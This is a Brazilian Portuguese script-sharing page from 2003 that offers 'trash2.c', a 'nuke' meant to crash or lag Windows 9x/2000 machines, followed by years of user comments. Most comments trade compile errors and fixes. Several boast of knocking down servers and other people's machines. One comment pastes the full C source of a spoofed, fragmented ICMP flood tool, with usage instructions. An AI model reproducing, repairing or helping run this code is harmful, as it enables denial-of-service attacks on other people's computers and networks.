Derrubando Win9x/Win2k !

Publicado por Denis Zanin 07/04/2003

[ Hits: 66.155 ]

Download trash2.c




Esse eh um nuke contra win9x e win2k ! Caso nao derrube o sistema, o programa vai fazer com que o lag desse sistema, aumente, e muito !
Nao foi escrito por mim ! Apenas fiz a traducao !
Infelizmente nao coloquei o codigo fonte a amostra pois ele nao coube... !
Para baixar o codigo fonte eh soh fazer um download dele !

Falows !

  



Esconder código-fonte

NAO COUBE !!!!! =\

Scripts recomendados

Fibbonacci com Memoization - O(n)

Função "Partição de Inteiros" Recursiva COM Tabela Estática em C

Árvore Binária de Busca - ABB

Jogo defutebol simples (com gráficos)

Fila bancária utilizando lista simplisment encadeada


  

Comentários
[1] Comentário enviado por fabio em 08/04/2003 - 15:20h

Show o script, porém não consegui derrubar as máquinhas w2k da rede aqui. Será que é pq a rede está em 100mbps?
Ah e precisa ser root pra conseguir abrir o socket também. Você já conseguiu lagar alguma máquina?

[]'s,
Fábio

[2] Comentário enviado por vir0se em 09/04/2003 - 22:42h

Jah consegui sim.. ! Eu jah derrubei um servidor win2k !
Tente aumentar os pacotes enviados que talvez aumente o lag na maquina vitima !

Falows !

[3] Comentário enviado por rsouza em 27/08/2003 - 01:17h

Muito bom o script, consegui derrubar estações win9X

[4] Comentário enviado por CyberLink em 02/11/2003 - 02:21h

bah ñ consegui copilar.... alguem poderai me ajudar... uso o Mandrake 9.2..
da os erros
[cyberlink@localhost trash2]$ gcc trash2.c -o trash
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type................

e assimpor diante, alguem poderia me dizer o que é, sera que tem algo errado..... se alguem sabe o que é me mande uma e-mail beto_poprock@hotmail.com

[5] Comentário enviado por themask em 04/01/2004 - 22:37h

o meu tbm nao funcionou, deu varios erros e gostaria de uma ajuda dos colegas.

[6] Comentário enviado por CyberLink em 07/01/2004 - 03:56h

aew galera dão uma força ai... qual sera o problema????

[7] Comentário enviado por maurosimoes em 14/01/2004 - 11:32h

Verifique se todos as bibiliotecas do C estao instaladas. Isto vai depender de qual compilador C voce está utilizando.

Por exemplo: O meu compilador MS VC++ 6 nao possui dentro de si o header unistd.h o que inviabiliza a compilacao.

[8] Comentário enviado por adaoraul em 22/01/2004 - 23:09h

aki funcionou legal, consegui derrubar uns caras chatos q ficam me enchendo...

[9] Comentário enviado por atilazip em 29/03/2004 - 00:03h

Tenho o mesmo script com umas motificações que o torna mais efisiente, em breve o colocarei a disposição.

[10] Comentário enviado por anunakin em 12/04/2004 - 15:15h

DICA: Para obter o mesmo resultado que este ou outro script para derrubar estações win32, basta ficar usando a mesma por uns 30 minutos.... ;-)

[11] Comentário enviado por anunakin em 12/04/2004 - 15:16h

DICA: Para obter o mesmo resultado que este ou outro script para derrubar estações win32, basta ficar usando a mesma por uns 30 minutos.... ;-)

[12] Comentário enviado por xilluminado em 14/04/2004 - 14:09h

Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type

[13] Comentário enviado por xilluminado em 14/04/2004 - 14:09h

Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type

[14] Comentário enviado por xilluminado em 14/04/2004 - 14:10h

Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type

[15] Comentário enviado por xilluminado em 14/04/2004 - 14:10h

Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type

[16] Comentário enviado por vir0se em 24/04/2004 - 04:10h

xilluminado: isso nao eh erro nao... eh apenas um warning.... o script deve ter sido compilado normalmente. ;)

[17] Comentário enviado por removido em 06/05/2004 - 11:12h

aki deu erro mas eu reescrevi de uma forma mais simples.. com resultados melhores! flw!! em breve!

[18] Comentário enviado por coyote em 09/05/2004 - 10:34h

tente usar g++ na hora de compilar!!

Um abraço

Cassio

[19] Comentário enviado por gregorye em 21/06/2004 - 23:50h

Como faço pra rodar ele depois de compilado, e nukar?

[20] Comentário enviado por gustavonrg em 22/06/2004 - 13:45h

tb naum consegui

[21] Comentário enviado por cliver_x em 26/06/2004 - 16:43h

maneiro script rodou na boa aki tenta compilar assim

gcc -o trash trash.c -lcrypto

[22] Comentário enviado por srfeudal em 02/07/2004 - 17:08h

Não rolou galera
[root@fedora root]# gcc -o trash trash2.c -lcrypto
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type
trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type

[23] Comentário enviado por d3f4c3m3ntz em 28/07/2004 - 02:19h

Tem como agente saber se o server ta derrubado ou não.. ??!?!?

[24] Comentário enviado por GrupoFimdeprova em 06/08/2004 - 10:42h

Eu também não consegui!

[25] Comentário enviado por joaoayub em 19/08/2004 - 16:02h

Eu também não consegui!!
Deo o mesmo erro

[26] Comentário enviado por dark_slack em 06/09/2004 - 01:07h

como faco pra derrubar um servidor windows? qual coando? ele pode ser feito se eu nao estiver em uma lan?

[27] Comentário enviado por gregorye em 06/11/2004 - 04:28h

Alguem sabe oque posso usar para instalar o esquema para gcc e funcionar este script 100% ! já rodei ele uma vez mas agora acontece o seguinte erro!

barros:/home/adm-gregory# gcc trash2.c -o trash
trash2.c:38: stdio.h: No such file or directory
trash2.c:39: unistd.h: No such file or directory
trash2.c:40: stdlib.h: No such file or directory
trash2.c:41: string.h: No such file or directory
trash2.c:42: sys/types.h: No such file or directory
trash2.c:43: sys/time.h: No such file or directory
trash2.c:44: sys/socket.h: No such file or directory
trash2.c:45: pwd.h: No such file or directory
trash2.c:46: time.h: No such file or directory
trash2.c:47: sys/utsname.h: No such file or directory
trash2.c:48: netdb.h: No such file or directory
trash2.c:49: netinet/in.h: No such file or directory
trash2.c:50: netinet/ip.h: No such file or directory
trash2.c:51: netinet/ip_icmp.h: No such file or directory
trash2.c:52: netinet/igmp.h: No such file or directory
barros:/home/adm-gregory#

[28] Comentário enviado por removido em 22/11/2004 - 02:48h

Aee galera. Eu estava com o mesmo problema de vcs, simplesmente não compilava e dava esses erros
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type
trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
Então resolvi procurar na net e procurar a versão original do programa, que achei nesse endereço:
http://newdata.box.sk/neworder/feb2000/trash.c
Esse compilou na boa aqui no meu Fedora :)
Abraços

[29] Comentário enviado por Sacred em 05/12/2004 - 11:34h

Comigo tá tando a mesma coisa que os outros. Eu peguei a versão original do programa e compilei direitinho com o gcc

Mas na hora de executar deu errado.
Eu estou usando Conectiva 10

[30] Comentário enviado por scottys0 em 09/12/2004 - 12:23h

vamo estudar C ... hehehehe

[31] Comentário enviado por marcaoguitarra em 22/12/2004 - 17:21h

vou dar uma sacada aki

falow

[32] Comentário enviado por PHPautH em 02/01/2005 - 21:41h

legal mesmooooooooo

[33] Comentário enviado por removido em 22/01/2005 - 23:47h

Alguém conseguiu compilar no Windows?
Eu uso o GNU MinGW/Bloodshed DevC++ 4, mas ainda não consegui compilar.
Tem uma versão "for ruindows" para este script?

No Slack 10 funcionou que é uma beleza!

[34] Comentário enviado por PCMasterPB em 23/10/2005 - 00:33h

Realmente o arquivo original (http://newdata.box.sk/neworder/feb2000/trash.c) compilou sem problemas aqui no suse 9.3, já o que eu desci do vol da erro. Agora como usar esse executável pra derrubar o server? Queria testar ele numa máquina aqui so pra ver heheheeehe ;D

[35] Comentário enviado por xflavio em 20/12/2005 - 12:35h

* é verdade mesmo o script que o cidadão indicou no site esta correto. *

[36] Comentário enviado por glecio em 25/12/2005 - 19:20h

Consegui derrubar apenas as máquinas com W98 as w2k não caíram.

[37] Comentário enviado por slack_uba em 26/01/2006 - 10:37h

OCORREU O SEGUINTE ERRO !!!!!!

# gcc trash2.c -o trash
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type
trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c: In function `send_igmp':
trash2.c:253: error: invalid application of `sizeof' to an incomplete type
trash2.c:258: error: invalid application of `sizeof' to an incomplete type
trash2.c:271: error: dereferencing pointer to incomplete type
trash2.c:272: error: dereferencing pointer to incomplete type
trash2.c:277: error: invalid application of `sizeof' to an incomplete type
trash2.c:282: error: invalid application of `sizeof' to an incomplete type
trash2.c:294: error: dereferencing pointer to incomplete type
trash2.c:295: error: dereferencing pointer to incomplete type
trash2.c:300: error: invalid application of `sizeof' to an incomplete type
trash2.c:305: error: invalid application of `sizeof' to an incomplete type
trash2.c:310: error: dereferencing pointer to incomplete type
trash2.c:311: error: dereferencing pointer to incomplete type
trash2.c:316: error: invalid application of `sizeof' to an incomplete type

ALGUEM TEM ESSE SCRIPT CORRIGIDO OU ALGUM PARECIDO QUE FAÇA A MESMA FUNÇÃO ?????
E-MAIL: slack_uba@yahoo.com.br

[38] Comentário enviado por PCMasterPB em 28/01/2006 - 01:21h

slack_uba, eu já tinha colocado o link com o texto correto do arquivo trash.c (http://newdata.box.sk/neworder/feb2000/trash.c), mas ta ae o script correto, caso o servidor por algum motivo apagá-lo:

----------------Copie esse texto para o arquivo trash.c---------------

/* Simple denial of service attack against Windows98/95/2000/NT Machines
Overview: sends random, spoofed, ICMP packets with randomly choosen
ICMP error codes.
Result: Freezes the users machine or a CPU usage will rise to extreme
lag. tested on:
2.0.35
2.2.5-15
2.2.9
2.0.36
You may freely alter this code, but give credit where credit is due
*/
/* greets go out to:
|gyr0|, Legio2000 Security Research(c)[for the idea and some of
the code from bloop.c], codesearc, P.A.T.C.H., ppl in
#ehforce@unet, #bitchx@unet, 0l3g, packetstorm security
-coded by misteri0 - [pr0tocol]
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
void banner(void) {

printf("trash.c - misteri0@unet [pr0tocol]\n\n");
printf("\n\n");
}
void usage(const char *progname) {
printf("usage:\n");
printf("./trash [src_ip] [dst_ip] [# of packets]\n",progname);
printf("\t[*] [ip_src] : ex: 205.56.78.0\n");
printf("\t[*] [ip_dst] : ex: 201.12.3.76\n");
printf("\t[*] [number] : 100\n");
printf("[pr0tocol] We are all connected by a simple line, just have to know where to cut it [pr0tocol]\n");
}
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_winbomb(int socket,
unsigned long spoof_addr,
struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
int rc;

packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->ihl = 5;
ip->version = 4;
// ip->tos = 2;
ip->id = htons(1234);
ip->frag_off |= htons(0x2000);
// ip->tot_len = 0;
ip->ttl = 30;
ip->protocol = IPPROTO_ICMP;
ip->saddr = spoof_addr;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));

icmp->type = rand() % 15;
icmp->code = rand() % 15;
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 1,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->frag_off = htons(8 >> 3);
ip->frag_off |= htons(0x2000);
ip->check = in_cksum(ip, sizeof(struct iphdr));
icmp->type = rand() % 15;
icmp->code = rand() % 15;
icmp->checksum = 0;
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char * *argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock;
unsigned long src_addr;
banner();
if ((argc != 4)) {
usage(argv[0]);
return(-1);
}

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"ERROR: Opening raw socket.\n");
return(-1);
}

if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
src_addr = dest_addr.sin_addr.s_addr;
if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
printf("Status: Connected....packets sent.\n",argv[0]);
for (i = 0;i < atoi(argv[3]);i++) {
if (send_winbomb(sock,
src_addr,
&dest_addr) == -1) {
fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
return(-1);
}
usleep(10000);
}
}

--------------------------------- Fim -----------------------------------

[39] Comentário enviado por JulianoSMM em 13/03/2006 - 17:34h

no ubuntu não consegui, alguém sabe as libs que tenho que pegar?

[40] Comentário enviado por removido em 13/03/2006 - 17:50h

JulianoSMM, dê uma olhada na mensagem de erro.
Esse código é super simples, não creio que possa não funcionar em uma distro diferente da outra, ou que seja necessário uma lib ou outra em especial para a distro.
Veja se tu tens os compiladores do GCC.
Abraços

[41] Comentário enviado por insabralde em 17/04/2006 - 08:39h

Como é o comando para utilizar o script...

[42] Comentário enviado por brevleq em 21/04/2006 - 00:27h

Como eu faço pra compilar o fonte? Tah dando esses erros:

brevleq@brevleq:~/downloads$ g++ trash2.c -o trash
trash2.c: In function `unsigned int randip()':
trash2.c:80: error: `inet_aton' undeclared (first use this function)
trash2.c:80: error: (Each undeclared identifier is reported only once for each
function it appears in.)
trash2.c: In function `int resolve(const char*, unsigned int, sockaddr_in*)':
trash2.c:87: error: `inet_addr' undeclared (first use this function)
trash2.c: At global scope:
trash2.c:99: error: `addr' was not declared in this scope
...........

[43] Comentário enviado por removido em 26/08/2006 - 20:14h

ah por isso q num tava compilando...

[44] Comentário enviado por removido em 26/08/2006 - 20:16h

ah por isso q num tava compilando...
e vc tem q compilar com o gcc trash.c -o trash
não com o g++

[45] Comentário enviado por shirglei em 01/08/2007 - 15:31h

Olá, eu sou novo no linux, uso o ubuntu, gostaria de saber como faço pra compilar e executar este script.

[46] Comentário enviado por marcaoguitarra em 02/08/2007 - 12:10h

cara, se voce ler dentro do arquivo fonte está escrito o procedimento para compilar que é o seguinte:
# gcc -o trash2 trash2.c
para executar é só digitar
# ./trash2

falows

[47] Comentário enviado por removido em 20/06/2008 - 14:43h

Ei bom mesmo...

[48] Comentário enviado por comfaa em 10/10/2008 - 09:14h

nao consegui rolar nao
:(

[49] Comentário enviado por edivandoflf em 24/06/2010 - 10:12h

Ei ta dando um monte de erro...

trash2.c:258: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:271: error: dereferencing pointer to incomplete type
trash2.c:272: error: dereferencing pointer to incomplete type
trash2.c:277: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:282: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:294: error: dereferencing pointer to incomplete type
trash2.c:295: error: dereferencing pointer to incomplete type
trash2.c:300: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:305: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:310: error: dereferencing pointer to incomplete type
trash2.c:311: error: dereferencing pointer to incomplete type
trash2.c:316: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’

[50] Comentário enviado por cr4sh0v3rr1d3 em 06/05/2013 - 00:07h

trash2.c: Na função ‘randip’:
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 3 possui tipo ‘long int’ [-Wformat]
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 4 possui tipo ‘long int’ [-Wformat]
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 5 possui tipo ‘long int’ [-Wformat]
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 6 possui tipo ‘long int’ [-Wformat]
trash2.c: Na função ‘sendwin98bug’:
trash2.c:152:13: error: dereferencing pointer to incomplete type
trash2.c:153:13: error: dereferencing pointer to incomplete type
trash2.c:154:13: error: dereferencing pointer to incomplete type
trash2.c:154:62: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:156:47: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:161:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:172:26: warning: passing argument 5 of ‘sendto’ from incompatible pointer type [habilitado por padrão]
In file included from trash2.c:44:0:
/usr/include/i386-linux-gnu/sys/socket.h:155:16: note: expected ‘const struct sockaddr *’ but argument is of type ‘struct sockaddr_in *’
trash2.c:183:66: warning: passing argument 5 of ‘sendto’ from incompatible pointer type [habilitado por padrão]
In file included from trash2.c:44:0:
/usr/include/i386-linux-gnu/sys/socket.h:155:16: note: expected ‘const struct sockaddr *’ but argument is of type ‘struct sockaddr_in *’
trash2.c: Na função ‘send_igmp’:
trash2.c:253:44: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:258:46: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:271:8: error: dereferencing pointer to incomplete type
trash2.c:272:8: error: dereferencing pointer to incomplete type
trash2.c:277:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:282:55: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:294:8: error: dereferencing pointer to incomplete type
trash2.c:295:8: error: dereferencing pointer to incomplete type
trash2.c:300:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:305:55: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:310:8: error: dereferencing pointer to incomplete type
trash2.c:311:8: error: dereferencing pointer to incomplete type
trash2.c:316:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’

script furado-.-


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts